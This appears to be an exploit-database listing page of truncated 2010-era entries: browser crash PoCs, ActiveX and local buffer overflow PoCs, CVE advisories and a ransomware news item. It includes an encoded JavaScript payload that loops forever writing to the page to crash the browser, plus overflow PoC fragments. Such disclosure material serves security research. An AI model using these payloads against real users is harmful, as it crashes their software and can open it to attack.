Disable Third Party Browser Extensions

The Advanced tab contains settings that apply to all of the security zones. We recommend that you disable the Enable third-party browser extensions option. This option includes toolbars and Browser Helper Objects BHOs. While some add-ons can be useful, they also have the ability to violate your...

Firefox 3.6.3 & Safari 4.0.5 - Access Violation Exception and Unknown Exception

No description provided by source. !-- By: Fredrik Nordberg Almroth URL: http://h.ackack.net/ -- script var...

Firefox 3.6.3 & Safari 4.0.5 Access Violation / Unknown Exception

Exploit for windows platform in category dos / poc var...

Mozilla Firefox 3.6.3 Safari 4.0.5 - Access Violation Exception and Unknown Exception

Mozilla Firefox 3.6.3 Safari 4.0.5 - Access Violation Exception and Unknown Exception var...

Mozilla Firefox 3.6.3 / Safari 4.0.5 - Access Violation Exception and Unknown Exception

var a=String.fromCharCode60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60,47,115,99,114,105,112,116,62; while1 a=a+a;...

Ransomware Tactic Lures Via Copyright Scare

An ongoing ransomware campaign is pretending to be the fake ICPP Foundation icpp-online.com, where the ransomware locks down the user’s desktop issuing a “Copyright violation: copyrighted content detected” message which lists torrent files found on the infected PC and forces the user to pay $400...

IncrediMail 2.0 ActiveX (Authenticate) bof PoC

Exploit for windows platform in category dos / poc ============================================== IncrediMail 2.0 ActiveX Authenticate bof PoC ============================================== IncrediMail 2.0 activeX Authenticate bof poc by d3b4g Tested: incerdiMail 2.0 Vendor...

IncrediMail 2.0 - ActiveX (Authenticated) Buffer Overflow (PoC)

IncrediMail 2.0 activeX Authenticate bof poc by d3b4g Tested: incerdiMail 2.0 Vendor url:http://www.incredimail.com/english/splash.aspx Tested on windows XP SP3 1-03-2010 Debugging info -------------- Exception Code: ACCESSVIOLATION Disasm: 678914AE MOV EDX,ECX ImSpoolU.dll Seh Chain:...

DAFFTIN Password Keeper 1.0.0.15 POC

Exploit for windows platform in category dos / poc Exploit Title: DAFFTIN Password Keeper 1.0.0.15 Date: 01/04/2010 Author: Richard leahy Software Link: http://www.soft32.com/download222389.html Version: 1.0.0.15 Platform Tested on: Windows Xp Sp3 & Sp2 code !/usr/bin/env ruby test = "A" 800000...

Update Protection against Safari JavaScript 'eval' Remote Denial of Service Exploit

A vulnerability was reported in Safari 3.2.3, specifically in the WebKit.dll" module which is part of the WebKit layout engine. Safari is reported to crash when interpreting a webpage that calls the "eval" JavaScript function with "A/" repeating 21526 times 43052 bytes. When triggering this...

CORE-2009-0813: Windows Movie Maker and Microsoft Producer IsValidWMToolsStream() Heap Overflow

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Windows Movie Maker and Microsoft Producer IsValidWMToolsStream Heap Overflow 1. Advisory Information Title: Windows Movie Maker and Microsoft Producer...

Opera 10.50 - integer Overflow

Opera 10.50 - integer Overflow ?php / @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ------------------------------------------------------------------------------- Opera 10.10 - 10.50 Title: Integer overflow leading to out of bounds array access R/W 0day poc Auto...

Opera <= 10.50 integer Buffer Overflow Exploit

Exploit for unknown platform in category dos / poc ============================================== Opera = 10.50 integer Buffer Overflow Exploit ============================================== ?php / @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Opera 10.10 - 10.50...

openSUSE Security Update : MozillaFirefox (MozillaFirefox-2052)

Mozilla Firefox was upgraded to version 3.0.18, fixing various bugs and security issues. Following security issues have been fixed: MFSA 2010-01 / CVE-2010-0159: Mozilla developers identified and fixed several stability bugs in the browser engine used in Firefox and other Mozilla-based products...

MDaemon SMTP and IMAP Command Buffer Overflow (CVE-2004-1546)

MDaemon is a Windows-based email server that provides full mail server functionality. MDaemon supports the SMTP, IMAP and POP3 protocols. A vulnerability exists in the way the MDaemon mail server processes certain SMTP and IMAP commands. A stack buffer overflow occurs when an overly long argument...

Microsoft WordPerfect 5.x Converter Buffer Overflow (CVE-2004-0573)

The Microsoft Office text editing tools support a number of foreign file formats for compatibility with third party software. The foreign file format support is based on import and export converters. When a text editor needs to read a foreign format file, a converter transforms the file to an...

Nero Burning ROM v9.4.13.2 (iso compilation) Local Buffer Invasion PoC

Exploit for unknown platform in category dos / poc ====================================================================== Nero Burning ROM v9.4.13.2 iso compilation Local Buffer Invasion PoC ====================================================================== !/usr/bin/perl Title: Nero Burning...

libpng Transparency Chunk Length Buffer Overflow (CVE-2004-0597)

The Portable Network Graphics PNG specification defines a datastream and an associated file format that provides a lossless, portable, image compression. libpng is a open source implementation of the PNG specification. A vulnerability exists in the way libpng handles the transparency chunk of a P...

Core Impact 7.5 Denial of Service Vulnerability

Exploit for unknown platform in category dos / poc =============================================== Core Impact 7.5 Denial of Service Vulnerability =============================================== RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True Test DoS Page...

Core Impact 7.5 - Denial of Service

. . | / | | \ \ | / / |\ \ \ |/ // / /\ \ / |/ \ / // | / | | / \ /|\ / / / / \ / \ / / / \ | | /\ /\ / \ | \ // est.2007 / / forum.darkc0de.com Greetz to all Darkc0de ,AI, AH,ICW Memebers Shoutz to r45c4l,j4ckh4x0r,silic0n,smith,baltazar,d3hydr8,FB1H2S,...